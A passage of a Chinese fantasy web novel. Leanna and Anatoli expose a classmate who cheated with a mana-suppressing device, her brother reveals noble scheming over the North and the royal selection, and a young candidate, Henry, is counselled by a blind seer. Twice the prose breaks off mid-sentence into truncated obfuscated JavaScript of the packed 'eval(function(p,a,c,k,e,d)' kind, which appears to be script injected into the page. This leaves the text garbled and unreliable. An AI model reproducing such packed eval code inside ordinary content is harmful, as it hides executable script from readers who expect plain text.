威克姆慢悠悠地走了过来。 “你搞了什么鬼?” “一些小道具。” “你这是作弊!”莱安娜骂道。 “你们靠天赋?我靠后天努力,这个道具不过是让你们这些被眷顾的宠儿尝到了魔力阈值不足的痛苦,怎么就叫做作弊呢?这难道不是另一种公平?” 他反问道。 “你看看,你如果被压制魔力,不过也是这幅任人宰割的样子,没有充足的魔力,再优秀的魔法技巧也是徒劳。” 他冷笑一声。 “难怪你会在第一场比赛这么快达到相应的击杀标准,按照正常情况,有竞争的前提下,不可能这么快。你对其他人也用了这招,万一有人在这种情况碰上魔兽该怎么办!会死人的!” 莱安娜突然明白为什么阿纳托利会在死角揍威克姆了,想来说不定他也是被盯上的受害者之一,那场所谓的欺凌实则是苦主在进行正当防卫。 “他们如果受伤那就只能怪自己学艺不精了,不过是让他们魔力阈值低了一些,可不是没有还手之力,难道像我和露比这样的低阈值同学每次考试都该死?” “别放屁了,你这道具让我能调动的魔力连两成都不到,如果是低阶法师根本就失去了防卫能力!而且,你这样的人怎么配和露比相提并论!垃圾!” 他像是被激怒,一抬手,藤蔓直冲莱安娜的脑袋,莱安娜集中精神,准备在等它靠近些集中一点魔力烧掉它的前端。 她不动声色地分了一些魔力在四肢的藤蔓上,在火苗缓慢的灼烧下,手上的藤蔓有了一些松动。因此剩余不多的魔力只能等攻击近在咫尺的时候才能发动,距离越近,消耗越小。 “没问题,我一定能做到。” 莱安娜神经高度紧绷,但藤蔓距离她还有一米左右时被利落地切断。 一个身影闪过,风刃紧随其后,莱安娜觉得手腕和脚踝一松,控制她的藤蔓被割开了。 莱安娜抓住时机,翻身跃起,直冲威克姆。 威克姆还没反应过来,左脸结结实实地挨了莱安娜一拳,后退了好几步。 莱安娜不给他喘息之机,飞起一脚,威克姆被踹翻在了地上。 他恶狠狠地盯着莱安娜,凝聚魔力准备反抗,脖颈处却传来一阵寒意。 阿纳托利的剑已经抵在了他的脖子上。 “又是你!你就这么喜欢多管闲事吗!我用道具跟你到底有什么关系!反正也没在你身上用!你睁一只眼闭一只眼不就好了?上次也是,这次也是,你一定要来横插一脚,坏我的好事吗!” 阿纳托利没说话,只是将剑抵得更紧。 威克姆见状更加气急败坏:“阿纳托利!把剑给我拿开!根据规则,只有队友可以插手魔晶的争夺过程,你这样也是在违规。” “呵,你要不要脸啊!”莱安娜像是看见了脏东西一般。 阿纳托利也有些无语,这个作弊的人是怎么有脸在这里扯规则的事情的。 但他确实应该避免和和艾夫忒宁家的人扯上太多关系,毕竟现在和瑞恩有合作。 他抬眼看着对面的莱安娜,她挂了不少彩。 “但也不能就这样袖手旁观吧,这可真是麻烦。” 他皱起眉来,而在他为难时,莱安娜走了过来。 “谁说他违规了?队伍的登记时间在第三次对决之前。阿纳托利?您愿意和我组队吗?” 她抬头问道,看着那双亮盈盈的眼睛不自觉捏紧了剑柄。 “她是不得以的选择?需要我帮她度过最艰难的处境?但答应的话,第三局会和她对战,恐怕会有更多麻烦……” 很多想法从他脑子闪过,理智还没有考虑清楚,嘴却鬼使神差地抢先做了决定: “好。” …… 莱安娜和自己的新队友合力控制住了威克姆,把他绑起来后挂在了魔龙尸体旁边后便朝林子外走去。 威克姆害怕作弊被其他人发现,同时也为了独吞战果所以没有组队,自然也不会有队友来找他,应该只能等待赛后被清场的工作人员放下来。 他一颗魔晶也没有搞到手,应该进不了第三轮比赛,自然也无缘克拉拉大赛了,或许他的神官之路并不会顺利。 莱安娜边走边想想。 走在前方的阿纳托利突然放慢了步伐,转过身来。 “你的伤怎么样?” “你说脖子后面那个道具扎的口子吗?已经不痛了。”莱安娜摸了摸脖子后面。 “你的脚呢?”他的目光落到了莱安娜的左脚上。 “能看出来吗?你怎么看出来的?”莱安娜有些惊讶,她在刚才扭了脚,但她藏得很好才对。 “你走得比往常慢了许多,而且动作也不太协调。” 阿纳托利认真地解释。 “好吧,你猜对了,不过不是什么严重的伤,就躲避攻击时扭了一下,出去治愈法师会帮我治疗的。” “自然疗养会更好吧。” “但来不及啊。” 她有些遗憾地叹了口气。 “现在先习惯一下痛吧,说不定一会儿治愈法师给我用治疗魔法就没感觉了。”她满不在乎地笑了笑。 “你不该习惯这种事。” 对方的语气格外认真,莱安娜惊讶地抬起头。 阿纳托利正皱着眉盯着自己,他的眼神很奇怪,他的神情比那些礼貌性的关心更加沉重,像是她做错了什么一样,但对方的语气中又没有责怪的意味。 莱安娜有些搞不明白对方的意思,一时间都不知道该说什么。见她没有回答,阿纳托利缓缓开口。 “你可以扶着我。” “不用,我没有伤到那个程度,而且我不想其他人觉得我很弱。” 她拒绝得很干脆,阿纳托利也就不再劝说,只是走得慢了一点。 二人又沉默着走了一段路,而这次莱安娜先开口了。 “其实,我之前就该向你道歉的,对不起,阿纳托利。”她说着有些不好意思。 “我先入为主,误会了你,还差点和你动手,你当时应该是想阻止威克姆作弊才打他的吧。” 阿纳托利停下脚步,转过身看着她点了点头。 “是的,我那时逼他把装置销毁,他试图偷袭我,我们这才打起来了。很遗憾我没彻底阻止,他竟然还有备用装置。” “当时你为什么不举报他呢?”莱安娜问道 “今天的主考官是格林,和威克姆他们家勾连很深,万一格林包庇他只会适得其反;而且说出去也不一定有人会相信我吧,比赛前这家伙说了一堆对我不利的信息,旁观者看一定以为我借机报复。” 最开始就是如此揣测的莱安娜默默地地低下了头。 阿纳托利接着说:“所以我破坏了他携带的装置,亲手把那个袋子里的东西绞碎了,这样他没法继续作弊,而且他说这个装置造成的影响最多就半小时左右,我之后去c区观察过了他下手的对象,那些人都有队友,哪怕魔力被压制也不是孤立无援。” “原来是这样。” “可惜还是有遗漏,没注意到这家伙还藏了一个,当时要是再注意一点,你也不会被他暗算了。” 他有些不好意思地抓了抓头发。 “你当时已经提醒过我离他远点了,而且现在不是什么事都没发生吗?” 莱安娜笑着说,思来想去,大抵是在她安慰威克姆时,对方趁机将这个指甲盖大小的装置粘在她脖子上的。 她一边想,一边端详拆下来的装置。 很轻,就像一片羽毛一样,沾到人的后颈上毫无知觉。 “真是用心险恶。”她在心里骂道。 “你真的要举报他吗?”阿纳托利问道。 “当然。” “其实他的作弊对其他人的影响很有限,毕竟其他人组队了,第一轮比赛中受伤的人中没有他下手的对象。一旦你举报,比赛有可能重新开始,你现在获得的成果都有可能清零。” 阿纳托利看着她透明腰包里的魔晶,有些惋惜。 “杀死高阶魔兽并不容易,你还受了不少伤,重新比赛对你不利。” “你说得很对,我有点后悔了。” “你不举报了?” “不,我后悔把他吊起来的时候怎么没再多给他几拳!真是便宜他了!” 莱安娜咬牙切齿道。 “我还是要上报这件事,虽然其他人没受伤是万幸,但这并不能就当什么都没发生过,威克姆让他们没法发挥出自己的实力,太不公平了。” 她认真地说到,阿纳托利知道她心意已决,不再多言。 “至于重新比赛该怎么办,完全不用担心。” “你消耗很大。”阿纳托利认真地指出。 “但我现在有一个很强的队友了。” 她颇有底气地笑了起来,阿纳托利一愣,把脸别了过去说道: “我会尽力而为。” 莱安娜笑着点了点头:“我知道你不想举报,是担心这个事情复杂化,威克姆本和林克同属杰德家族,你之前和林克本来就有过节,现在和威克姆扯上关系会很麻烦,对吧?” 阿纳托利点了点头。 “放心吧,阿纳托利,我到时候不会提到你的。”她狡猾地笑了。 “我会说威克姆袭击我不成反被制服的事情,至于之前的事情我什么都不知道,反正都在监控盲区,死无对证。” “要是威克姆提到我了呢?说我借机报复?” “我在两个时间都和他有接触,我可以帮你作证;而且你忘记啦,你和他关系很糟糕,他最开始的时候当着这么多同学面污蔑你呢,他说的话不具备参考价值,你还可以趁他提到你的机会给大家澄清之前的事,如果你愿意的话。” 阿纳托利不由得感叹,原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“因为你想帮我隐瞒,所以现场届时只有你和威克姆两个人了,你担心指控不成立。” “嗯。”她轻轻地点了一下头。 “如果你想起诉他,就去做吧,我会帮你作证的。”阿纳托利认真地说。 “诶?但是那样的话,你不就又卷到麻烦事里面了吗?” “那就稍微麻烦一下吧,毕竟我们是队友了。” 虽然对方语气没什么变化,莱安娜却觉得这人说这话的时候一定是笑着的。 后面发生了什么来着? 莱安娜记得他们虽然上报了,但是考试并没有重新举行,因为被道具影响的只有不到五个人,且这在征询了这五人的意见后,多数人选择继续比赛。 莱安娜在举报的时候就指控了威克姆。虽然有阿纳托利这个人证,但由于大家都知道阿纳托利和威克姆一家的恩怨,加上没有有力的物证,谋杀的指控并未成立。 但作弊这件事板上钉钉,威克姆被开除了。并且杰德家族的主家因为怕影响家族名声,立刻把他这个无关紧要的旁枝从谱系里除去了名字。 丧失了家族支持、品行有缺、才华算不得惊艳。威克姆应该不会被任何一所魔法学院接受、也无法当他心心念念的神官了。 而那枚装置被封存起来进行了解析,据说其制作工艺相当精巧,重量轻盈,吸附在人体表面上毫无感觉,控制装置的人操纵装置向人体注入一种物质,可以暂时抑制人的魔力。 这样的武器迅速引起了魔法界的重视,威克姆一个学生自然是不可能做出这样的东西的,神使团很快介入了调查,试图寻找来源。 调查没有结果,那时候莱安娜相当失望,她那时候还看不明白其中的弯弯绕绕。 其实答案早就显露。 教会从未尊重过任何生命,包括魔法师。 突然增加的超高阶魔兽、袖手旁观的监视官,整个赛场与其说是考核场地,不如说是一个大型的实验室,一个汇集了近全国三分之一的新生代魔法师的实验室。 他们都是潜在的试验品。 毕竟如果没有上面的许可,威克姆怎么可能带着数量如此庞大的装置通过结界?而一个月后,威克姆的死亡更像是佐证了这一点。 但这些事,那时候的莱安娜并没有看明白,她还在享受宁静的时光,不过那时候的她完全意识不到这份宁静是一种怎样的奢侈。 莱安娜记得萝丝和杰西卡看见阿纳托利把她从林子里背出来时几乎都惊掉了下巴。由于阿纳托利成了她的队友,她找到了第三场对决的人,四人便重新组队,共享了第二局和第一局的成果。 第三场对决中她和阿纳托利打得有来有回,对方的剑术和格斗技巧非常棘手,魔力精度高得吓人,虽然最后她凭借魔力轰炸险胜,但这场对决也让莱安娜意识到了近身战斗技巧的重要。 之后她便请求阿纳托利教她剑术,其实她没抱什么希望,但谁知道阿纳托利这个外冷内热的热心肠竟然答应了!唯一不太好的就是这人有时候太认真,打击式教育总让她每次训练完都有点灰心。 不同于魔法,剑术她没什么天赋,哪怕勤加练习也只是普通的水平。 教学过程中,阿纳托利总是叹气,莱安娜一听他叹气就觉得无名火在烧。 “叹气!天天叹气!也没有那么糟糕吧……” 后面搞得她一听到阿纳托利叹气,就开始下意识纠正动作。 训练场和阿德萨斯塔是他们最常待的地方,训练场的窗户能看到日出和橡树,阿德萨斯塔能看到日落和蔷薇。 从日出的问候到日落的告别,从橡树的郁郁苍苍到蔷薇的姹紫嫣红似乎只要一眨眼。 他们共享了很多个一眨眼,共享了整整四年的的日出日落、隆冬仲夏。 102. 天各一方 美好的日子无知无觉地延续下去,反复没有尽头,直到阿纳托利在仲夏的雨夜逃离了圣都。莱安娜才惊觉到什么东西发生了变化。 “他回北方会怎么样呢?希望他能平安吧,听说北方因为离谱的魔兽潮不得不全线撤退,到处都乱糟糟的,他回去路上会不会有危险?作为人质贸然回去会被彼得老公爵为难吗?他能如愿地去治理魔兽潮吗?” 许多问题萦绕在她的心中,但无从寻找答案。 那段时间莱安娜利用神官候选人的权限查阅了她能看到的所有北地讯息,但除了触目惊心的战报一无所获。 在忧心忡忡好几天后,她决定冒险问问自己的兄长。 文森特的母亲去世后,文森特就继承了爵位,成了艾夫忒宁的家主。他虽然没有魔力,但其他方面的才能无可挑剔,艾夫忒宁家近年在他的带领下竟然隐约有再度复兴的势头,在议会中的支持者也越来越多。 文森特在议会上能够接触到更多信息,因此在一次晚餐的时候,莱安娜鼓起了勇气,开口试探:“听说北方最近乱糟糟的,魔兽潮很严重呢。” “是啊,甚至因为太严重了不得不大后撤。”他漫不经心地答道。 莱安娜闻言,不自觉地皱起眉来。 “不过此事对我们也有好处,别太担心。” 他仿佛察觉到了莱安娜的忧虑,立刻笑着宽慰她,湛蓝的眼里神情格外柔和。 “好处?” 莱安娜捏紧了手中的勺子。 “哥哥你在说什么?怎么会有好处?会有很多人死去的?” 话音刚落,她便察觉文森特的眼神认真了很多。 “我很遗憾,莱安娜,但那是没办法的事情。泰坦防线失守了,泰西防线无法拦住所有魔兽,大后撤是为了建立新的屏障,让更多人能够活下去,这是不得已的牺牲,而且也不是全然没有好处……” 他放慢了语速。 “北方从此再也没有能力和南方叫板了,过去北方一直没有被纳于教会的神官体制之下,公爵也和我们对峙了这么些年,现在终于低头了,在议会上我看大家都很高兴呢。” 莱安娜茫然地看着带笑的兄长。 “但北方低头不是教会有好处吗?和议会有什么关系?” 文森特微微皱眉道:“怪我,后面这几年一直让你专心钻研魔法和准备神职的试炼,竟然疏忽了你在这方面的教育。” 说罢他歉意地朝莱安娜一笑。 “那我们就借此机会补补课吧,你应该还记得哈雷皇帝那段简史。” 莱安娜点点头:“哈雷皇帝一统帝国,贵族们受封爵位和领地,同时也要向皇帝效忠。那时皇权空前集中,贵族们受到了极其严厉的监督和约束。所以部分贵族才会选择和维斯特利亚教皇合作,自从她建立现行的教会制度以来,贵族们在领地重新拥有了更大的权力,不必受制于皇帝,魔法师们也不用像奴隶一样地受到管控。贵族和魔法师是诛王之战的赢家。” “说对了一半。”文森特撑着脸耐心地补充:“贵族和魔法师的确获益良多,但最大的赢家其实是北地公爵,他们家族可是借此机会成为了独立于贵族和教会的强大力量。” “北地借着皇室衰微的机会拿到了最大的自治权,同时因为地理位置等原因不听教会管束?” “对也不全对。”文森特温柔地摇了摇头。 “北方的自治权不是从皇室衰微才拿到的。北地公爵曾是哈雷皇帝的挚友、战友,最亲密的人。因此独断专行的哈雷皇帝对他格外特殊,赋予了他远超一般贵族的自治权。维斯特利亚上任教皇的时候,并非所有贵族都支持她,有不少强势的皇帝派反对当时维斯特利亚和哈雷几乎势均力敌,但最大的皇帝派,北方公爵却在关键时候看准机会,和维斯特利亚做了交易,天平瞬间倾斜。” “公爵选择背叛自己的挚友,支持教皇?但为什么呢?皇帝不是早就赋予了他远超一般贵族的自治权吗?” 莱安娜困惑地看着文森特。 “妹妹你别忘了,人都是贪婪的,再大的自治权也是相对其他贵族而言,他的脖子上永远拴着皇帝的锁链。” “所以他在局势最为紧张时向教皇抛出橄榄枝,维斯特利亚为了获得支持,会许诺给他更大的权力,难怪北地拥有几乎独立的自治权。” 文森特似乎很满意她的回答,点了点头后继续说:“他们除了需要坚持向教会和皇帝效忠的底线,几乎拥有了一切权力,北地可是有自己的骑士团和集团军的,北方魔法师是对公爵效忠,不需要在教会接受登记,服从教皇的命令,总之,北方几乎是国中之国。” 他将这些书上不会有的背景介绍抽丝剥茧地给莱安娜讲述着。 莱安娜若有所思,半晌后抬起头。 “我明白了,为什么这次北方的乱局受益的不仅是教廷,对议会也有好处。因为北方一直被公爵独占,但现在由于魔兽潮和粮食问题公爵不得不低头,贵族们终于可以介入这被弗洛斯特独占的肥肉了。但魔兽潮、泰坦防线的失守、大撤退……怎么会这么巧?” 她的声音越来越小,随即抬起头。 “哥哥,这不是巧合吧?这是一场蓄谋已久的瓜分。” 明明是问句,但目光却无比笃定。 文森特一愣,然后惊喜地笑了。 “我没想到你这么有天赋,看来你或许比我更该去联合议会的。”他眯起了那双蓝色眼睛,打量了莱安娜一番, “但以你我的立场,不该这么说。我们和北地的彼得公爵用合作来形容会更恰当。” “合作?” “因为逐年加剧的魔兽潮、被污染的土地、粮食危机,北地这些年一直在走下坡路,如果没有南方的援助,生存都会是问题。弗洛斯特现在就低头,教皇有了对魔法师的控制权,我们可以分到弗洛斯特在北方的领地。北方公爵让渡部分权力,不仅可以保全名义上在北方统治的地位,还能让自己的子嗣成为未来统治者的配偶,虽然是个傀儡,但对于失败者的谢幕来说已经足够体面了,这也是他们同意大后撤的原因。” 文森特笑着解释道,但莱安娜的表情却变得有些凝重。 “所以大后撤不是意外,是贵族们的合谋?所以泰坦防线失守其实从一开始就是……” “嘘。” 文森特的手指抵在了她的唇上,挡住了她即将脱口而出的可怕猜想。 “哎。” 他望着莱安娜不可置信的眼睛,缓缓开口: “有些话千万不能说出来,莱安娜。” 他说罢温和一笑,捋了捋莱安娜耳边的头发。 莱安娜低垂着眼眸,沉默良久后开口: “大后撤会死很多人的。” “我很遗憾,但这是议会决定的,不会改变。而且哪怕没有大后撤也会有南北战争,战争早晚都会爆发的。” 莱安娜不再说话,但毫不掩饰眼中的不满。 文森特摇了摇头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这次她连眼神都无法掩饰。 文森特皱起了眉。 “你很在意那个人质?是朋友吗?毕竟听说他也曾在奥利弗学院学习魔法,如果他是你朋友,我会尽量在能力范围内帮忙的。” 她不可置信地看着文森特,仿佛完全没有料到他会站在自己这一边。 “我还以为哥哥会埋怨我和他走太近,他的身份当下确实有些敏感,可能会对家族有不好的影响。” 文森特握住她的手笑着解释:“我们不是有约定吗?莱安娜,我们是彼此永不分离的家人,你是我珍贵的妹妹,你的愿望我会尽力满足,那人如果是你朋友,在能力范围内我会帮他的,全当是为了你能开心。” 她仿佛抓到救命稻草一般:“哥哥,他是我朋友,很好的朋友!你能救救他吗?他对于南方的利益不会有任何实际作用,没必要牺牲一条人命作为表忠心的工具!” 莱安娜不再压抑自己的情绪,那双眼里全是担忧。 “这不是我能决定的,莱安娜。” 他惋惜地叹了口气。 “不过我一定尽力,放心吧妹妹。” 文森特轻拍莱安娜的肩膀,安慰道。 莱安娜似乎还没有回过神来,只是怔怔地看着前方,她没有注意到文森特已经完全阴沉下去的眼神。 那双蓝色眼眸中逐渐渗透出一种深沉的恶意。冰冷的光芒一闪而过,只有一瞬间,很快又恢复了温和至极的模样。 “他的事情我会处理的,你就别操心了,还有更重要的事情需要你完成呢。” 103. 疯王遗嘱和预言家 “什么任务?” 莱安娜有些困惑,她除了一年后的神官试炼,还有什么任务? “你应该知道疯王的遗嘱吧?” 莱安娜点了点头。 疯王指的是先皇玛格丽特,哈雷皇帝的妹妹。 哈雷皇帝被推翻后,教会和贵族仍需要一位傀儡皇帝,他们原本的人选是哈雷皇帝的孪生弟弟弗朗兹。 他曾直言劝谏自己的兄长,当面预言:“我看见您的统治必然走向终结。” 根据记载,哈雷皇帝勃然大怒,下令挖去了他的双目,将他流放至南部。从血缘上他最为合适,但贵族并未寻到此人下落,最终选择了同为直系血亲的玛格丽特公主。 贵族们都认为这个毫无根基,年幼柔弱的少女是理想的傀儡。 但玛格丽特打破了所有人的预料。 她并非任人摆布的洋娃娃,甚至在备受制肘的人生中,坚持不懈地和议会唱反调,尽管这是徒劳。论武装力量,年轻的女皇没有魔法师的支持、没有兵权;在议会中,莱恩家的盟友早就不复存在,哈雷集权早已树敌无数。被推翻的兄长给她留下了一堆政敌。 以卡梅利亚为首的大贵族重新获得了封地内的无上权柄,盘踞在帝国各地作威作福,被最精锐的骑士簇拥,他们重新掌握了国家的经济命脉、数量最多的正规军、把持着议会重大决定的走向; 而维斯特利亚让魔法师摆脱了锁链,成为新势力的主宰。她登上教皇的宝座,其统领的神使团代表着帝国魔法师最精锐的力量,其创立的神官体系覆盖了除北方之外的所有地区,将全国魔法师收入麾下,在防御各地魔兽潮的同时,借着灾难巩固了教会在民众心中的庇护者形象,将教会这个本质上由魔法师构成的防御组织神化为了女神指引下的庇护所。她开创了魔法师的时代、构建了帝国全新的信仰,这将逐渐淡化莱恩家族受命女神的正统性和神圣性。 玛格丽特还剩下什么呢?一顶王冠、可笑的皇室津贴? 年轻的统治者异常愤怒,自己家族的荣耀被剥夺、权力被侵蚀、财富被瓜分、亲人被侮辱。但她能做的却只有在议会上徒劳地反对。 哪怕她从未放弃,甚至一手制造了贵族和教会最初的嫌隙,但这并没有扭转王室衰落的处境。 在争斗数年后,贵族议会出台了《继承法案》,其中规定了法定继承的王储必须经过贵族议会审查资格。 玛格丽特这才意识到她的反抗都是笑话,自己什么都改变不了,甚至连自己未来的继承人都无法决定。 不过这个法案给她留了最后一丝体面,它并未限制女皇的遗嘱继承权利。 这是贵族们的傲慢,毕竟无论女皇选择谁,只要他们不满意,都可以很快抹除,没有遗嘱继承人,女皇死后也只能按照法定继承的程序。 但这傲慢背后的漏洞被玛格丽特紧紧抓住,傲慢的贵族终究低估了这位出生于莱恩家鼎盛时期女皇的心气。 帝国历史记载,女皇玛格丽特由于不明原因精神错乱,疯癫混乱,在神祭日,全帝国人民的目光集中在神殿时,出现在了神殿顶端,用传音魔法向所有人宣布了她的遗嘱: “皇位由莱恩家有魔力的子嗣继承,莱恩的后嗣必须按照最古老的王选方式参与竞争,通过初次试炼者获得津贴,拥有魔力者继承爵位,获得最终胜利的人继承王位。” 说罢,她便从露台一跃而下。 杜鹃色的裙摆在风中飞舞,她像一颗石子,在被控制得如一潭死水的局势里掀起涟漪。 自此,玛格丽特被冠上了“疯王”的名号。 贵族们明里暗里都对她口诛笔伐,她疯狂的自杀使得贵族们利用法定继承程序操控皇储的打算落空,遗嘱被太多人知晓,各方都虎视眈眈,最终大贵族们放弃了一手遮天的做法,选择按照她的遗嘱选择候选人。 但当时莱恩家族旁系新一辈的孩子都过于年幼,大部分也没有觉醒魔力,因此王选拖到了现在。 许多信息在莱安娜脑中快速掠过,她不明白文森特在此时提起玛格丽特的遗嘱有何种意图。 “哥哥所说的任务和王选有关吗?” “是的。”文森特点了点头。“按照遗嘱,这一次的继承人只能通过古老的试炼选出,议会没法介入了,但并不是这样。”文森特微笑着看向她。 “议会还想操纵试炼?” “算不上操纵,但大家都有各自的打算。虽说瑞恩在议会几乎一家独大,但如果直接操纵选举会引发太多中小贵族不满的,所以议会将给这些候选人指派协助试炼的魔法老师。” 莱安娜闻言后低头思索了一会儿,随后才开口: “每位候选人背后都将有不同的家族,每个家族都穷尽资源帮助自己的代理人登上宝座,没想到遗嘱规定的试炼变成了一场斗兽游戏。” “你太直接了。”文森特有些无奈地叹了口气。“这是合作共赢,不少候选人都是旁系,由于家族没落本来连学习魔法的机会都没有,参加王选不仅能拥有更多资源,甚至有了一次翻身的机会,中小贵族们也很乐意参与这项投资。” 文森特笑着解释。 “所以哥哥是要我去当某位候选人的老师?我们家族也要主动介入此事?” “这不是我的决定,这是议会的决定。每个家族都需要为此事出力,不过你不用有太大的压力,王选最有希望的候选人薇薇安已经被瑞恩家包揽了,其他人只是为了未来在议会积累盟友,参与即可。” “哥哥已经决定了要支持的对象?” “嗯,你的学生是玛格丽特的表侄,亨利·莱恩。” “哥哥为什么选择他?”莱安娜有些惊讶,这个名字她从未听过,原本以为文森特至少会选择一位更有名的继承人。 “我们家过去欠他们一个人情。帮这次忙就当还故人的债吧。”他耐心地解释,随后想起什么开起了玩笑。“哎呀,难道莱安娜你其实想成为皇帝的魔法师,声名远扬?如果你有这样的打算那我们确实应该选择赢面更大的一位。” “没有,哥哥,在你眼里我到底是有多么争强好胜?”她有些无奈地笑了笑。“既然是家族的事情,那我当然会认真对待。” “还有个好消息,这项工作不仅有工资还有额外奖励。” “什么?”莱安娜有些期待地看着文森特。 “瑞恩家主卡梅里亚承诺,每个愿意参加的魔法师都可以在瑞恩家族收集的辅助魔法石里选一颗。都是顶级魔法石。但你或许不太需要。” 这种魔法石可以改善施法时和地脉的同频,降低单次施法能耗,还可以储备魔力,弥补魔力阈值的不足。但莱安娜的同频和阈值非常完美,这种道具对她帮助不大。 但她的思绪飘到了另一个人身上。 “如果能把这个石头安装到阿纳托利的剑上,一定对他有所帮助,虽然他没有阈值缺陷,但魔导师同频终究要依靠魔导器。” 她抬起眼眸,坚定地盯着文森特。 “我什么时候去?” 文森特似乎很意外她这么积极,露出满意的微笑。 “我会帮你完成相关手续,等你毕业典礼结束后就可以动身前往,你将会成为亨利·莱恩的老师。” 他说罢想仿佛想起了什么。 “对了,说起毕业典礼,你的舞伴是谁?我听说你拒绝了维克多的邀请?” “维克多那家伙只是想借机找麻烦罢了。”她说这话地时候十分嫌弃,我会去典礼现场,但不会跳舞的,应该和露比、萝丝还有杰西卡她们合影后直接去阿德萨斯塔,我答应了卡丽安娜老师帮她整理古代魔法的资料。” “真的不享受下庆典吗?” “不用了。” 她冲文森特微微一笑,对告别青春的盛典毫无留恋。 …… 另一边,在卡萨德拉城区,一位黑发少年正快步穿过小巷。 “又是他,你瞧他穿的多么滑稽。”沿途有人窃窃私语。 “小少爷哪怕家道中落,宁可华服上打补丁,也不愿穿我们这些下等人的衣服。” “还叫他少爷?他妈妈可是被砍头的反贼,要我说,不是子爵大人对自己的外甥有善心,他早就饿死了。” “他现在在哪里工作?还是说子爵有给他津贴?” “一个好心的店主收留了他,他可真走运,找到了轻松的活,你看看现在就在路上闲逛了,他要去哪儿?” 人群从不压低他们议论的声音,少年装作没有听见,很快来到了一处并不起眼的旧店铺前。 他轻敲了敲门上的特殊位置,其上出现了一个隐蔽的魔法装置,黑发少年谨慎地调整咒语的指令,在装置起作用后,他才推开门,轻盈地钻了进去。 一阵微光从门缝中透出,光辉转瞬即逝,此刻房间里空无一物,刚才的黑发少年不见踪迹。 而在装置所保护的真正的空间里,响起了慵懒的抱怨声。 “你今天来得迟了很多。” 一位白发的中年人正坐在对着店门的桌前,他的眼睛蒙着厚厚的布条,双手正在面前盲文书上的凸起摸索。 “抱歉,罗斯特先生,我叔叔詹姆今天来了。” 少年的语气中透着无奈。 “我教过你,你要……” “平心静气,韬光养晦,等候时机。这些我当然记得。” 没等罗斯特说完,少年人就模仿他老成的口吻念了出来,随后无奈地叹气: “也不知道您所说的时机要等到什么时候?像是未来真的能改变一样。” “命运不可言说,到时候你自然会知道。” 少年有些不满地撇了撇嘴,反正瞎子罗斯特看不到他的表情。 “背一遍我让你记住的那三个预言。” 他突然考起了问题,少年不由得怀疑这人根本没瞎,不然怎么会他刚撇嘴就收到提问。 不过他早就把那些无厘头的预言背得滚瓜烂熟了。 “第一个,终结弥天大谎的勇士将会亡于自己的善意。第二个,风雪与浪涛将在整片大□□虐,破碎的土地将在火焰和钢铁中熔铸为一。第三个,残魂者将权杖粉碎,众人将永远传颂空王座时代。” 一口气说完,清脆的嗓音和沉重的内容完全不搭调。拖长尾音产生的回声,在空荡荡的房间里显得非常怪异。 罗斯特满意地点了点头,但少年人却不满了起来: “罗斯特先生你总是喜欢故弄玄虚,从我遇到你开始就喜欢讲一些让人困惑的谜语,这是预言家的必备修养吗?” 他语气透着淡淡的不满,像是刚刚成熟的薄荷叶,散发着并不浓烈但足够明显的气息。 “哦,你觉得我是个骗子?后悔遇到我了?” “那倒没有。”少年人笑道。 “骗子不会花这么多时间教我古语、历史还有其他东西的,我相信您是位学者,而且您确实做出过正确的预言,也给过我明智的建议,感知他人内心欲望的魔法如果不加以隐藏,我恐怕在年幼的时候就遭遇不测了……能活到现在我很感激。” 随后他的目光移向了他面前的书本。 “我来给您读吧?还是说比起帮您读书,您想先教我一些新东西?不过上次你说过,古语你已经没有东西教我了。那今天学什么?” “比起学习你有件更重要的事情要准备。” “嗯?” 少年困惑地抬起头来,金色的眼眸从未修剪的乱发中短暂地露出,衬得他灰白的脸庞都亮了几分。 “王选将要开始了,这是宝贵的机会,你要牢牢抓住。” 中年人语气变得格外严肃,回荡在狭小的室内让人倍感压力。 “我?怎么抓住?连我这样的人都有机会参加吗?” 少年人反问道。 “会有最好的魔法师来教授你的魔法,你需要和这位魔法师建立紧密的联系,她将帮你夺得魁首,坐上宝座。” “不可能的,罗斯特,各个家族都见风使舵,最好的魔法师怎么可能愿意来当我的老师?” 他不可置信地盯着对方。 罗斯特叹了口气,似乎下定了某种决心。 “艾夫忒宁伯爵承诺会支持您,并让家族的高阶魔法师来教授你魔法。”他解释道。 少年人惊讶地睁大了眼睛。 “艾夫忒宁伯爵为什么要支持我?您是怎么 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“伯爵要我帮他预测艾夫忒宁是否可以崛起?瑞恩家会不会毁灭?而我告诉了他答案,艾夫忒宁的姓氏终将扬名帝国,所有人会对家主满心敬畏,而瑞恩家族终会走向毁灭。” “您的预言相当笼统啊。”少年摇了摇头。 “那希望你早晚有一天能够更精细地解读我的预言,你和我有着不同类型的感知能力,你的预言天赋或许未来在我之上。” 罗斯特轻声说道,不过此刻心绪复杂的少年并没有感受到他话里的庄重。 “罗斯特先生,您不该有这样的期待,您忘记了吗?我不能使用魔力的。” 他无奈地摊摊手。 “是您建议让我顺应预知梦的指引,压制自己的魔力,不要让人发现我的感知天赋和魔法,所以无论是提升预知魔法还是回应那位魔法老师,我都做不到。” “不,现在是改变的时候了,你应该解开魔力的束缚,成为那位高阶法师的弟子,抓住这次试炼的机会。” “不。” 少年拒绝了他的提议。 “我在预知梦中隐约看见,一旦我触碰魔法,将会有相当痛苦的未来,我不想冒险,维持现状就好。” “哪怕现状是任由你的叔叔折磨?你真的满意这样仰人鼻息的生活吗?此时觉醒魔力将是一个极其宝贵的转折点。” 名为亨利的少年神色微动。 “但摆脱我现在的生活不止这一条路,还有其他方式可以改变……” 他说着将头低了下去。 “没有魔力的话,作为高阶魔法师的那位老师或许会对我冷眼相待吧,原本也是为了完成任务来的,我不会为了她的任务让自己冒险,我不会唤醒魔力。比起不幸,或许现在这样的乏味人生已经很不错了……所以,请您别再提这件事了。” 一提到觉醒魔法仿佛戳到了他的最痛处,他很想逃避这个问题。但罗斯特显然不并打算顺少年人的意。 “亨利。” 他庄重地念出了少年的名字。 “我看见未来的轨迹和你现在的想法不同。命运就是如此,哪怕你现在如此抗拒。” “这是您为我做的预言吗?”亨利试探道。 